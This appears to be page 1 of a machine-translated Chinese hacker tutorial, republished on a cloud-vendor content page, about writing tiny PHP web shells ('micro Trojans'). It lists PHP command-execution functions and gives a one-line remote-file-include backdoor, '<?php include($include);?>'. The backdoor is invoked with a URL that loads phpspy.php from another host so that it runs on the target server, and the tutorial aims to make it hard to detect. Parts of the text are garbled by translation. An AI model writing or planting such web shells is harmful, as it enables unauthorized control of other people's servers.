[Hacker Trojan Programming Tutorial] Analysis of Micro PHP Trojan

Source: Internet
Author: User

The powerful PHP syntax is beyond the reach of ASP. Only one of them can be used to probe the configuration of the entire server. Running cmd and uploading files are very simple. Currently, the PHP Trojan is better than phpspy of angel. Yesterday, hak_ban asked me how to encrypt the PHP Trojan. I did not expect it, but it is still very difficult for me to write a micro-PHP Trojan.

Here we will briefly discuss several functions that can be used as Trojans:

1. Several functions that can run external commands: system, passthru, exec, shell_exec, and popen.

For example, you only need to set $ cmd);?> And can be used to run external commands. These functions can be said to be the earliest micro-row php Trojan, so the General Virtual Host settings will also block these functions.

2. Do you still remember the style. php vulnerability in the WDB forum? We can use this Trojan to make it difficult to be killed. As follows:

       
        <?php include(
        $include);?>
       

Save it as 1.php, we can call other. php Trojans (such as phpspy. php) that do not support the php server to achieve our goal: http://6688.cc/1.php? Include = http://www.6688.cc/phpspy.php

The http://www.6688.cc here does not support php, otherwise it will run phpspy. php on the http://www.6688.cc server, not the target server.

  • 1
  • 2
  • Next Page
[Content navigation]
Page 1st: [hacker Trojan Programming Tutorial] micro-PHP Trojan Parsing Page 2nd: [hacker Trojan Programming Tutorial] micro-PHP Trojan Parsing

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.